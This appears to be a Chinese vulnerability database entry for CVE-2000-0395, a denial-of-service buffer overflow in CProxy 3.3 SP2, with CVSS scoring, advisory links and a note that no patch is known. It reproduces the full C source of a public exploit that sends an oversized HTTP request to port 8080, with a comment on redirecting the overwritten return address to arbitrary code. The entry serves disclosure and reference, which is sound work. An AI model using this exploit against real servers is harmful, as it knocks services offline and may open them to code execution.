CVE-2000-0395
CVSS5.0
发布时间 :2000-05-16 00:00:00
修订时间 :2008-09-10 15:04:34
NMCOE    

[原文]Buffer overflow in CProxy 3.3 allows remote users to cause a denial of service via a long HTTP request.


[CNNVD]CProxy 3.3 SP2 缓冲区溢出拒绝服务漏洞(CNNVD-200005-055)

        CProxy 3.3存在缓冲区溢出漏洞,远程用户可以通过超长HTTP请求触发拒绝服务。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0395
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0395
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200005-055
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/templates/archive.pike?list=1&msg=007d01bfbf48$e44f0e40$01dc11ac@peopletel.org
(UNKNOWN)  BUGTRAQ  20000516 CProxy v3.3 SP 2 DoS
http://www.securityfocus.com/bid/1213
(UNKNOWN)  BID  1213

- 漏洞信息

CProxy 3.3 SP2 缓冲区溢出拒绝服务漏洞
中危 缓冲区溢出
2000-05-16 00:00:00 2005-05-02 00:00:00
远程※本地  
        CProxy 3.3存在缓冲区溢出漏洞,远程用户可以通过超长HTTP请求触发拒绝服务。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (19920)

Computalynx CProxy Server 3.3 SP2 Buffer Overflow DoS Vulnerability (EDBID:19920)
multiple dos
2000-05-16 Verified
0 HaCk-13 TeaM
N/A [点击下载]
source: http://www.securityfocus.com/bid/1213/info

A buffer overflow DoS vulnerability exists in CProxy Server 3.3 Service Pack 2


/*
 * Remote Denial of Service for CProxy v3.3 - Service Pack 2
 * 
 * (C) |[TDP]|  - HaCk-13 TeaM -  2000      <tdp@psynet.net>
 *
 *
 * This program xploits an overflow vulnerability in CProxy 3.3 SP2
 * HTTP Service (8080), causing server shutdown
 *
 * Greetings to all the other members and all my friends :) 
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFFERSIZE 247
#define NOP 0x90
// If you change this values you can change EIP and EBP values
// to redirect to a code that you want >;)
#define EIP 0x61616161
#define EBP 0x61616161

void usage(char *progname) {
 fprintf(stderr,"Usage: %s <hostname> [eip] [ebp]\n",progname);
 exit(1);
}

int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE], remotedos[1024];
unsigned long *long_ptr,eip=EIP, ebp=EBP;
int aux,sock;
struct sockaddr_in sin;
unsigned long ip;
struct hostent *he;

 fprintf(stderr,"\n-= Remote DoS for CProxy v3.3 ServicePack 2 - (C) |[TDP]| - H13 Team =-\n");

 if (argc<2) usage(argv[0]);

 if (argc>=3) eip+=atol(argv[2]);

 if (argc>=4) ebp+=atol(argv[3]);

 ptr=buffer;
 memset(ptr,0,sizeof(buffer));
 memset(ptr,NOP,sizeof(buffer)-8);
 ptr+=sizeof(buffer)-8;
 long_ptr=(unsigned long*)ptr;
 *(long_ptr++) = ebp;
 *(long_ptr++) = eip;
 ptr=(char *)long_ptr;
 *ptr='\0';

 bzero(remotedos, sizeof(remotedos));
 snprintf(remotedos, sizeof(remotedos), "GET http://%s HTTP/1.0\r\n\r\n\r\n",buffer);

 if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
 perror("socket()");
 return -1;
 }

 if ((he = gethostbyname(argv[1])) != NULL) {
 ip = *(unsigned long *)he->h_addr;
 } else {
 if ((ip = inet_addr(argv[1])) == NULL) {
  perror("inet_addr()");
  return -1;
 }
 }

 sin.sin_family = AF_INET;
 sin.sin_addr.s_addr = ip;
 sin.sin_port = htons(8080);

 fprintf(stderr,"\nEngaged...\n");
 if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
 perror("connect()");
 return -1;
 }

 if (write(sock, remotedos, strlen(remotedos)) < strlen(remotedos)) {
 perror("write()");
 return -1;
 }

 fprintf(stderr,"Bye Bye baby!...\n\n");
 if (close(sock) < 0) {
 perror("close()");
 return -1;
 }

 return(0);
}
		

- 漏洞信息

1336
CProxy SP2 Long HTTP Request DoS
Remote / Network Access Denial of Service
Loss of Availability Solution Unknown
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

2000-05-16 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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